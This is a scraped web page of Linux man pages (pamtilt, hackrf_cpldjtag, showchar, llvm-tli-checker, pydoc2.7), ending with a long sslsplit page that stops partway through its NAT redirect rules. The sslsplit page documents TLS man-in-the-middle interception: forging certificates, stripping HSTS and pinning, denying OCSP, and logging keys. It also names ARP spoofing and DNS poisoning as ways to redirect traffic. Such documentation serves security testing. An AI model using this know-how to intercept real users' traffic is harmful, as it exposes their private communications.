Show on Standard Error the measurements computed at each tested angle.

Here are some other options you can use to tune the operation of pamtilt but they’re seldom needed. The default values accommodate a wide variety of input documents.

**-quality=**q
Require a signal-to-noise ratio of a least q on the first iteration to report a valid result. Larger values reduce the chances of obtaining a bogus result at the risk of obtaining no result at all.

The default is 1.0.

**-hstep=**n
Set the horizontal increment to check every nth column. This value affects both run time and memory requirements.

The default is 11.

**-vstep=**n
Set the vertical increment to check every nth row. Larger values usually work, reducing run time, but they increase the risk of incorrect results.

The default is 5.

**-dstep=**n
Set the vertical distance used when checking pixels in a column. The default is intended to minimize the effect of noise along a horizontal boundary.

The default is 2.

**-astep=**n
Set the angle increment of the first iteration, in degrees.

The default is 1.0.

REFERENCES

pamtilt implements a somewhat simplified algorithm inspired by: “Measuring Document Image Skew and Orientation”, by Bloomberg, Kopec, and Dasari. In SPIE Volume 2422, Document Recognition II, pages 302-316, February 1995.

SEE ALSO

  • pnmrotate(1)

  • pgm(1)

HISTORY

pamtilt was new in Netpbm 10.30 (October 2005).

Gregg Townsend wrote it and sent it to Bryan Henderson in August 2005. Bryan recoded it to fit Netpbm conventions.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtilt.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

87 - Linux cli command hackrf_cpldjtag

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_cpldjtag and provides detailed information about the command hackrf_cpldjtag, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_cpldjtag.

NAME 🖥️ hackrf_cpldjtag 🖥️

program CPLD

DESCRIPTION

The HackRF project started by Michael Ossmann and Jared Boone to build software radio peripheral using Free Software and Free Hardware design. Care was taken to only use electronic components with published documentation (no NDAs!) and to avoid software libraries without open source licenses.

Jawbreaker is the first complete HackRF platform, a wideband software radio transceiver with a USB interface.

This application lets the user configure the on-board CPLD.

SYNOPSIS

hackrf_cpldjtag -x <filename>

OPTIONS

-x <filename>: XSVF file to be written to CPLD.

SEE ALSO

Great Scott Gadgets HackRF web page: http://greatscottgadgets.com/hackrf/

Other hackrf programs:

hackrf_debug(1), hackrf_info(1), hackrf_spiflash(1), hackrf_transfer(1)

AUTHOR

This manual page was written by Maitland Bottoms for the Debian project (but may be used by others).

COPYRIGHT

Copyright (c) 2013 A. Maitland Bottoms <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

88 - Linux cli command showchar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command showchar and provides detailed information about the command showchar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the showchar.

NAME 🖥️ showchar 🖥️

show character with information

SYNOPSIS

showchar [ fontname ] [ charname ]

DESCRIPTION

This manual page was written for the Debian GNU/Linux distribution because the original program does not have a manual page.

showchar outputs PostScript to draw a character with metric info.

AUTHOR

Copyright (C) Angus J. C. Duggan 1991-1995

This manual page was written by Uwe Hermann <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

TRADEMARKS

PostScript is a trademark of Adobe Systems Incorporated.

SEE ALSO

psbook(1), psselect(1), pstops(1), epsffit(1), psnup(1), psresize(1), psmerge(1), fixscribeps(1), getafm(1), fixdlsrps(1), fixfmps(1), fixpsditps(1), fixpspps(1), fixtpps(1), fixwfwps(1), fixwpps(1), fixwwps(1), extractres(1), includeres(1), showchar(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

89 - Linux cli command llvm-tli-checker-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-tli-checker-17 and provides detailed information about the command llvm-tli-checker-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-tli-checker-17.

NAME 🖥️ llvm-tli-checker-17 🖥️

tli-checker - TargetLibraryInfo vs library checker

SYNOPSIS

llvm-tli-checker [options] [library-file…]

DESCRIPTION

llvm-tli-checker compares TargetLibraryInfo’s opinion of the availability of library functions against the set of functions exported by the specified library files, reporting any disagreements between TLI’s opinion and whether the function is actually present. This is primarily useful for vendors to ensure the TLI for their target is correct, and the compiler will not “optimize” some code sequence into a library call that is not actually available.

EXAMPLE

$ llvm-tli-checker –triple x86_64-scei-ps4 example.so TLI knows 466 symbols, 235 available for ‘x86_64-scei-ps4’

Looking for symbols in 'example.so'
Found 235 global function symbols in 'example.so'
Found a grand total of 235 library symbols
<< TLI yes SDK no:  '_ZdaPv' aka operator delete[](void*)
>> TLI no  SDK yes: '_ZdaPvj' aka operator delete[](void*, unsigned int)
<< Total TLI yes SDK no:  1
>> Total TLI no  SDK yes: 1
== Total TLI yes SDK yes: 234
FAIL: LLVM TLI doesn't match SDK libraries.

OPTIONS

–dump-tli
Print “available”/”not available” for each library function, according to TargetLibraryInfo’s information for the specified triple, and exit. This option does not read any input files.

–help, -h
Print a summary of command line options and exit.

–libdir=<directory>
A base directory to prepend to each library file path. This is handy when there are a number of library files all in the same directory, or a list of input filenames are kept in a response file.

–report=<level>
The amount of information to report. <level> can be summary, discrepancy, or full. A summary report gives only the count of matching and mis-matching symbols; discrepancy lists the mis-matching symbols; and full lists all symbols known to TLI, matching or mis-matching. The default is discrepancy.

–separate
Read and report a summary for each library file separately. This can be useful to identify library files that don’t contribute anything that TLI knows about. Implies –report=summary (can be overridden).

–triple=<triple>
The triple to use for initializing TargetLibraryInfo.

@<FILE>
Read command-line options and/or library names from response file <FILE>.

EXIT STATUS

llvm-tli-checker returns 0 even if there are mismatches. It returns a non-zero exit code if there is an unrecognized option, or no input files are provided.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

90 - Linux cli command pydoc2.7

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pydoc2.7 and provides detailed information about the command pydoc2.7, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pydoc2.7.

NAME 🖥️ pydoc2.7 🖥️

the Python documentation tool

SYNOPSIS

pydoc2.7 name

pydoc2.7 -k keyword

pydoc2.7 -p port

pydoc2.7 -g

pydoc2.7 -w module […]

DESCRIPTION

pydoc2.7 name Show text documentation on something. name may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If name contains a ‘/’, it is used as the path to a Python source file to document. If name is ‘keywords’, ’topics’, or ‘modules’, a listing of these things is displayed.

pydoc2.7 -k keyword Search for a keyword in the synopsis lines of all available modules.

pydoc2.7 -p port Start an HTTP server on the given port on the local machine.

pydoc2.7 -g Pop up a graphical interface for finding and serving documentation.

pydoc2.7 -w name […] Write out the HTML documentation for a module to a file in the current directory. If name contains a ‘/’, it is treated as a filename; if it names a directory, documentation is written for all the contents.

AUTHOR

Moshe Zadka, based on “pydoc –help”

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

91 - Linux cli command sslsplit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sslsplit and provides detailed information about the command sslsplit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sslsplit.

NAME 🖥️ sslsplit 🖥️

  • transparent SSL/TLS interception

SYNOPSIS

sslsplit [-kCKqwWOPZdDgGsrRxeumjplLSFXYyTIMiab] -c pem proxyspecs […]
sslsplit [-kCKqwWOPZdDgGsrRxeumjplLSFXYyTIMiab] -c pem -t dir proxyspecs […]
sslsplit [-OPZwWdDgGsrRxeumjplLSFXYyTIMiab] -t dir proxyspecs […]
sslsplit [-kCKwWOPZdDgGsrRxeumjplLSFXYyTIMi**] -f conffile**
sslsplit -E
sslsplit -V
sslsplit -h

DESCRIPTION

SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encrypted network connections. It is intended to be useful for network forensics, application security analysis and penetration testing.

SSLsplit is designed to transparently terminate connections that are redirected to it using a network address translation engine. SSLsplit then terminates SSL/TLS and initiates a new SSL/TLS connection to the original destination address, while logging all data transmitted. Besides NAT based operation, SSLsplit also supports static destinations and using the server name indicated by SNI as upstream destination. SSLsplit is purely a transparent proxy and cannot act as a HTTP or SOCKS proxy configured in a browser. See NAT ENGINES and PROXY SPECIFICATIONS below for specifics on the different modes of operation.

SSLsplit supports plain TCP, plain SSL, HTTP and HTTPS connections over both IPv4 and IPv6. It also has the ability to dynamically upgrade plain TCP to SSL in order to generically support SMTP STARTTLS and similar upgrade mechanisms. SSLsplit fully supports Server Name Indication (SNI) and is able to work with RSA, DSA and ECDSA keys and DHE and ECDHE cipher suites. Depending on the version of OpenSSL, SSLsplit supports SSL 3.0, TLS 1.0, TLS 1.1 and TLS 1.2, and optionally SSL 2.0 as well.

For SSL and HTTPS connections, SSLsplit generates and signs forged X509v3 certificates on-the-fly, mimicking the original server certificate’s subject DN, subjectAltName extension and other characteristics. SSLsplit has the ability to use existing certificates of which the private key is available, instead of generating forged ones. SSLsplit supports NULL-prefix CN certificates but otherwise does not implement exploits against specific certificate verification vulnerabilities in SSL/TLS stacks.

SSLsplit implements a number of defences against mechanisms which would normally prevent MitM attacks or make them more difficult. SSLsplit can deny OCSP requests in a generic way. For HTTP and HTTPS connections, SSLsplit mangles headers to prevent server-instructed public key pinning (HPKP), avoid strict transport security restrictions (HSTS), avoid Certificate Transparency enforcement (Expect-CT) and prevent switching to QUIC/SPDY, HTTP/2 or WebSockets (Upgrade, Alternate Protocols). HTTP compression, encodings and keep-alive are disabled to make the logs more readable.

Logging options include traditional SSLsplit connect and content log files as well as PCAP files and mirroring decrypted traffic to a network interface. Additionally, certificates, master secrets and local process information can be logged.

In order to maximize the chances that a connection can be successfully split, SSLsplit does not verify upstream server certificates by default. Instead, all certificates including self-signed are accepted and if the expected hostname signalled in SNI is missing from the server certificate, it will be added to dynamically forged certificates.

SSLsplit does not automagically redirect any network traffic. To actually implement an attack, you also need to redirect the traffic to the system running sslsplit. Your options include running sslsplit on a legitimate router, ARP spoofing, ND spoofing, DNS poisoning, deploying a rogue access point (e.g. using hostap mode), physical recabling, malicious VLAN reconfiguration or route injection, /etc/hosts modification and so on.

OPTIONS

-a pemfile
Use client certificate from pemfile when destination server requests a client certificate. -A pemfile Use private key, certificate and certificate chain from PEM file pemfile as leaf certificate instead of generating a leaf certificate on the fly. The PEM file must contain a single private key, a single certificate and optionally intermediate and root CA certificates to use as certificate chain. When using -t, SSLsplit will first attempt to use a matching certificate loaded from certdir. If -t is also used and a connection matches any certificate in the directory specified with the -t option, that matching certificate is used instead, taking precedence over the certificate specified with -A.

-b pemfile
Use client private key from pemfile when destination server requests a client certificate.

-c pemfile
Use CA certificate from pemfile to sign certificates forged on-the-fly. If pemfile also contains the matching CA private key, it is also loaded, otherwise it must be provided with -k. If pemfile also contains Diffie-Hellman group parameters, they are also loaded, otherwise they can be provided with -g. If -t is also given, SSLsplit will only forge a certificate if there is no matching certificate in the provided certificate directory.

-C pemfile
Use CA certificates from pemfile as extra certificates in the certificate chain. This is needed if the CA given with -k and -c is a sub-CA, in which case any intermediate CA certificates and the root CA certificate must be included in the certificate chain.

-d
Detach from TTY and run as a daemon, logging error messages to syslog instead of standard error.

-D
Run in debug mode, log lots of debugging information to standard error. This also forces foreground mode and cannot be used with -d.

-e engine
Use engine as the default NAT engine for proxyspecs without explicit NAT engine, static destination address or SNI mode. engine can be any of the NAT engines supported by the system, as returned by -E.

-E
List all supported NAT engines available on the system and exit. See NAT ENGINES for a list of NAT engines currently supported by SSLsplit.

-f conffile
Read configuration from conffile.

-F logspec
Log connection content to separate log files with the given path specification (see LOG SPECIFICATIONS below). For each connection, a log file will be written, which will contain both directions of data as transmitted. Information about the connection will be contained in the filename only. Only one of -F, -L and -S may be used (last one wins).

-g pemfile
Use Diffie-Hellman group parameters from pemfile for Ephemereal Diffie-Hellman (EDH/DHE) cipher suites. If -g is not given, SSLsplit first tries to load DH parameters from the PEM files given by -K, -k or -c. If no DH parameters are found in the key files, built-in group parameters are automatically used. The -g option is only available if SSLsplit was built against a version of OpenSSL which supports Diffie-Hellman cipher suites.

-G curve
Use the named curve for Ephemereal Elliptic Curve Diffie-Hellman (ECDHE) cipher suites. If -G is not given, a default curve (prime256v1) is used automatically. The -G option is only available if SSLsplit was built against a version of OpenSSL which supports Elliptic Curve Diffie-Hellman cipher suites.

-h
Display help on usage and exit.

-i
For each connection, find the local process owning the connection. This makes process information such as pid, owner:group and executable path for connections originating on the same system as SSLsplit available to the connect log and enables the respective -F path specification directives. -i is available on Mac OS X and FreeBSD; support for other platforms has not been implemented yet.

-I if
Mirror connection content as emulated packets to interface if with destination address given by -T. This option is not available if SSLsplit was built without mirroring support.

-j jaildir
Change the root directory to jaildir using chroot(2) after opening files. Note that this has implications for sni proxyspecs. Depending on your operating system, you will need to copy files such as /etc/resolv.conf to jaildir in order for name resolution to work. Using sni proxyspecs depends on name resolution. Some operating systems require special device nodes such as /dev/null to be present within the jail. Check your system’s documentation for details.

-k pemfile
Use CA private key from pemfile to sign certificates forged on-the-fly. If pemfile also contains the matching CA certificate, it is also loaded, otherwise it must be provided with -c. If pemfile also contains Diffie-Hellman group parameters, they are also loaded, otherwise they can be provided with -g. If -t is also given, SSLsplit will only forge a certificate if there is no matching certificate in the provided certificate directory.

-K pemfile
Use private key from pemfile for the leaf certificates forged on-the-fly. If -K is not given, SSLsplit will generate a random 2048 bit RSA key.

-l logfile
Log connections to logfile in a single line per connection format, including addresses and ports and some HTTP and SSL information, if available. SIGUSR1 will cause logfile to be re-opened.

-L logfile
Log connection content to logfile. The content log will contain a parsable log format with transmitted data, prepended with headers identifying the connection and the data length of each logged segment. SIGUSR1 will cause logfile to be re-opened. Only one of -F, -L and -S may be used (last one wins).

-m
When dropping privileges using -u, override the target primary group to be set to group.

-M logfile
Log master keys to logfile in SSLKEYLOGFILE format as defined by Mozilla. Logging master keys in this format allows for decryption of SSL/TLS traffic using Wireshark. Note that unlike browsers implementing this feature, setting the SSLKEYLOGFILE environment variable has no effect on SSLsplit. SIGUSR1 will cause logfile to be re-opened.

-O
Deny all Online Certificate Status Protocol (OCSP) requests on all proxyspecs and for all OCSP servers with an OCSP response of tryLater, causing OCSP clients to temporarily accept even revoked certificates. HTTP requests are being treated as OCSP requests if the method is GET and the URI contains a syntactically valid OCSPRequest ASN.1 structure parsable by OpenSSL, or if the method is POST and the Content-Type is application/ocsp-request. For this to be effective, SSLsplit must be handling traffic destined to the port used by the OCSP server. In particular, SSLsplit must be configured to receive traffic to all ports used by OCSP servers of targeted certificates within the certdir specified by -t.

-p pidfile
Write the process ID to pidfile and refuse to run if the pidfile is already in use by another process.

-P
Passthrough SSL/TLS connections which cannot be split instead of dropping them. Connections cannot be split if -c and -k are not given and the site does not match any certificate loaded using -t, or if the connection to the original server gives SSL/TLS errors. Specifically, this happens if the site requests a client certificate. In these situations, passthrough with -P results in uninterrupted service for the clients, while dropping is the more secure alternative if unmonitored connections must be prevented. Passthrough mode currently does not apply to SSL/TLS errors in the connection from the client, since the connection from the client cannot easily be retried. Specifically, -P does not currently work for clients that do not accept forged certificates.

-q crlurl
Set CRL distribution point (CDP) crlurl on forged leaf certificates. Some clients, such as some .NET applications, reject certificates that do not carry a CDP. When using -q, you will need to generate an empty CRL signed by the CA certificate and key provided with -c and -k, and make it available at crlurl.

-r proto
Force SSL/TLS protocol version on both client and server side to proto by selecting the respective OpenSSL method constructor instead of the default SSLv23_method() which supports all protocol versions. This is useful when analyzing traffic to a server that only supports a specific version of SSL/TLS and does not implement proper protocol negotiation. Depending on build options and the version of OpenSSL that is used, the following values for proto are accepted: ssl2, ssl3, tls10, tls11 and tls12. Note that SSL 2.0 support is not built in by default because some servers don’t handle SSL 2.0 Client Hello messages gracefully.

-R proto
Disable the SSL/TLS protocol version proto on both client and server side by disabling the respective protocols in OpenSSL. To disable multiple protocol versions, -R can be given multiple times. If -r is also given, there will be no effect in disabling other protocol versions. Disabling protocol versions is useful when analyzing traffic to a server that does not handle some protocol versions well, or to test behaviour with different protocol versions. Depending on build options and the version of OpenSSL that is used, the following values for proto are accepted: ssl2, ssl3, tls10, tls11 and tls12. Note that SSL 2.0 support is not built in by default because some servers don’t handle SSL 2.0 Client Hello messages gracefully.

-s ciphers
Use OpenSSL ciphers specification for both server and client SSL/TLS connections. If -s is not given, a cipher list of ALL:-aNULL is used. Normally, SSL/TLS implementations choose the most secure cipher suites, not the fastest ones. By specifying an appropriate OpenSSL cipher list, the set of cipher suites can be limited to fast algorithms, or eNULL cipher suites can be added. Note that for connections to be successful, the SSLsplit cipher suites must include at least one cipher suite supported by both the client and the server of each connection. See ciphers(1) for details on how to construct OpenSSL cipher lists.

-S logdir
Log connection content to separate log files under logdir. For each connection, a log file will be written, which will contain both directions of data as transmitted. Information about the connection will be contained in the filename only. Only one of -F, -L and -S may be used (last one wins).

-t certdir
Use private key, certificate and certificate chain from PEM files in certdir for connections to hostnames matching the respective certificates, instead of using certificates forged on-the-fly. A single PEM file must contain a single private key, a single certificate and optionally intermediate and root CA certificates to use as certificate chain. When using -t, SSLsplit will first attempt to use a matching certificate loaded from certdir. If -A is also given, when there is no match in certdir, the default key, certificate and certificate chain from the PEM file specified with the -A option is used instead. Otherwise, if -c and -k are also given, certificates will be forged on-the-fly for sites matching none of the common names in the certificates loaded from certdir. Otherwise, connections matching no certificate will be dropped, or if -P is given, passed through without splitting SSL/TLS.

-T addr
Mirror connection content as emulated packets to destination address addr on the interface given by -I. Only IPv4 target addresses are currently supported. This option is not available if SSLsplit was built without mirroring support.

-u user
Drop privileges after opening sockets and files by setting the real, effective and stored user IDs to user and loading the appropriate primary and ancillary groups. If -u is not given, SSLsplit will drop privileges to the stored UID if EUID != UID (setuid bit scenario), or to nobody if running with full root privileges (EUID == UID == 0). User user needs to be allowed to make outbound TCP connections, and in some configurations, to also perform DNS resolution. Dropping privileges enables privilege separation, which incurs latency for certain options, such as separate per-connection log files. By using -u root, SSLsplit can be run as root without dropping privileges. Due to an Apple bug, -u cannot be used with pf proxyspecs on Mac OS X.

-x engine
Use the OpenSSL engine with identifier engine as a default engine. The engine must be available within the OpenSSL ecosystem under the specified identifier, that is, they must be loaded from the global OpenSSL configuration. If engine is an absolute path, it will be interpreted as path to an engine dynamically linked library and loaded by path, regardless of global OpenSSL configuration. This option is only available if built against a version of OpenSSL with engine support.

-X pcapfile
Log connection content to pcapfile in PCAP format, with emulated TCP, IP and Ethernet headers. SIGUSR1 will cause pcapfile to be re-opened. Only one of -X, -Y and -y may be used (last one wins).

-Y pcapdir
Log connection content to separate PCAP files under pcapdir. For each connection, a separate PCAP file will be written. Only one of -X, -Y and -y may be used (last one wins).

-y pcapspec
Log connection content to separate PCAP files with the given path specification (see LOG SPECIFICATIONS below). For each connection, a separate PCAP file will be written. Only one of -X, -Y and -y may be used (last one wins).

-V
Display version and compiled features information and exit.

-w gendir
Write generated keys and certificates to individual files in gendir. For keys, the key identifier is used as filename, which consists of the SHA-1 hash of the ASN.1 bit string of the public key, as referenced by the subjectKeyIdentifier extension in certificates. For certificates, the SHA-1 fingerprints of the original and the used (forged) certificate are combined to form the filename. Note that only newly generated certificates are written to disk.

-W gendir
Same as -w, but also write original certificates and certificates not newly generated, such as those loaded from -t.

-Z
Disable SSL/TLS compression on all connections. This is useful if your limiting factor is CPU, not network bandwidth. The -Z option is only available if SSLsplit was built against a version of OpenSSL which supports disabling compression.

PROXY SPECIFICATIONS

Proxy specifications (proxyspecs) consist of the connection type, listen address and static forward address or address resolution mechanism (NAT engine, SNI DNS lookup):

https listenaddr port [nat-engine|fwdaddr port|sni port]
ssl listenaddr port [nat-engine|fwdaddr port|sni port]
http listenaddr port [nat-engine|fwdaddr port]
tcp listenaddr port [nat-engine|fwdaddr port]
autossl listenaddr port [nat-engine|fwdaddr port]

https
SSL/TLS interception with HTTP protocol decoding, including the removal of HPKP, HSTS, Upgrade and Alternate Protocol response headers. This mode currently suppresses WebSockets and HTTP/2.

ssl
SSL/TLS interception without any lower level protocol decoding; decrypted connection content is treated as opaque stream of bytes and not modified.

http
Plain TCP connection without SSL/TLS, with HTTP protocol decoding, including the removal of HPKP, HSTS, Upgrade and Alternate Protocol response headers. This mode currently suppresses WebSockets and HTTP/2.

tcp
Plain TCP connection without SSL/TLS and without any lower level protocol decoding; decrypted connection content is treated as opaque stream of bytes and not modified.

autossl
Plain TCP connection until a Client Hello SSL/TLS message appears in the byte stream, then automatic upgrade to SSL/TLS interception. This is generic, protocol-independent STARTTLS support, that may erroneously trigger on byte sequences that look like Client Hello messages even though there was no actual STARTTLS command issued.

listenaddr port
IPv4 or IPv6 address and port or service name to listen on. This is the address and port where the NAT engine should redirect connections to.

nat-engine
NAT engine to query for determining the original destination address and port of transparently redirected connections. If no engine is given, the default engine is used, unless overridden with -e. When using a NAT engine, sslsplit needs to run on the same system as the NAT rules redirecting the traffic to sslsplit. See NAT ENGINES for a list of supported NAT engines.

fwdaddr port
Static destination address, IPv4 or IPv6, with port or service name. When this is used, connections are forwarded to the given server address and port. If fwdaddr is a hostname, it will be resolved to an IP address.

sni port
Use the Server Name Indication (SNI) hostname sent by the client in the Client Hello SSL/TLS message to determine the IP address of the server to connect to. This only works for ssl and https proxyspecs and needs a port or service name as an argument. Because this requires DNS lookups, it is preferable to use NAT engine lookups (see above), except when that is not possible, such as when there is no supported NAT engine or when running sslsplit on a different system than the NAT rules redirecting the actual connections. Note that when using -j with sni, you may need to prepare jaildir to make name resolution work from within the chroot directory.

LOG SPECIFICATIONS

Log specifications are composed of zero or more printf-style directives; ordinary characters are included directly in the output path. SSLsplit current supports the following directives:

%T
The initial connection time as an ISO 8601 UTC timestamp.

%d
The destination host and port, separated by a comma, IPv6 addresses using underscore instead of colon.

%D
The destination host, IPv6 addresses using underscore instead of colon.

%p
The destination port.

%s
The source host and port, separated by a comma, IPv6 addresses using underscore instead of colon.

%S
The source host, IPv6 addresses using underscore instead of colon.

%q
The source port.

%x
The name of the local process. Requires -i to be used. If process information is unavailable, this directive will be omitted from the output path.

%X
The full path of the local process. Requires -i to be used. If process information is unavailable, this directive will be omitted from the output path.

%u
The username or numeric uid of the local process. Requires -i to be used. If process information is unavailable, this directive will be omitted from the output path.

%g
The group name or numeric gid of the local process. Requires -i to be used. If process information is unavailable, this directive will be omitted from the output path.

%%
A literal ‘%’ character.

NAT ENGINES

SSLsplit currently supports the following NAT engines:

pf
OpenBSD packet filter (pf) rdr/rdr-to NAT redirects, also available on FreeBSD, NetBSD and Mac OS X. Fully supported, including IPv6. Note that SSLsplit needs permission to open /dev/pf for reading, which by default means that it needs to run under root privileges. Assuming inbound interface em0, first in old (FreeBSD, Mac OS X), then in new (OpenBSD 4.7+) syntax:

rdr pass on em0 proto tcp from 2001:db8::/64 to any port 80
-> ::1 port 10080 rdr pass on em0 proto tcp from 2001:db8::/64 to any port 443
-> ::1 port 10443 rdr pass on em0 proto tcp from 192.0.2.0/24 to any port 80
-> 127.0.0.1 port 10080 rdr pass on em0 proto tcp from 192.0.2.0/24 to any port 443
-> 127.0.0.1 port 10443

pass in quick on em0 proto tcp from 2001:db8::/64 to any
port 80 rdr-to ::1 port 10080 pass in quick on em0 proto tcp from 2001:db8::/64 to any
port 443 rdr-to ::1 port 10443 pass in quick on em0 proto tcp from 192.0.2.0/24 to any
port 80 rdr-to 127.0.0.1 port 10080 pass in quick on em0 proto tcp from 192.0.2.0/24 to any
port 443 rdr-to 127.0.0.1 port 10443

ipfw
FreeBSD IP firewall (IPFW) divert sockets, also available on Mac OS X. Available on FreeBSD and OpenBSD using pf divert-to. Fully supported on FreeBSD and OpenBSD, including IPv6. Only supports IPv4 on Mac OS X due to the ancient version of IPFW included. First in IPFW, then in pf divert-to syntax:

ipfw add fwd ::1,10080 tcp from 2001:db8::/64 to any 80 ipfw add fwd ::1,10443 tcp from 2001:db8::/64 to any 443 ipfw add fwd 127.0.0.1,10080 tcp from 192.0.2.0/24 to any 80 ipfw add fwd 127.0.0.1,10443 tcp from 192.0.2.0/24 to any 443

pass in quick on em0 proto tcp from 2001:db8::/64 to any
port 80 divert-to ::1 port 10080 pass in quick on em0 proto tcp from 2001:db8::/64 to any
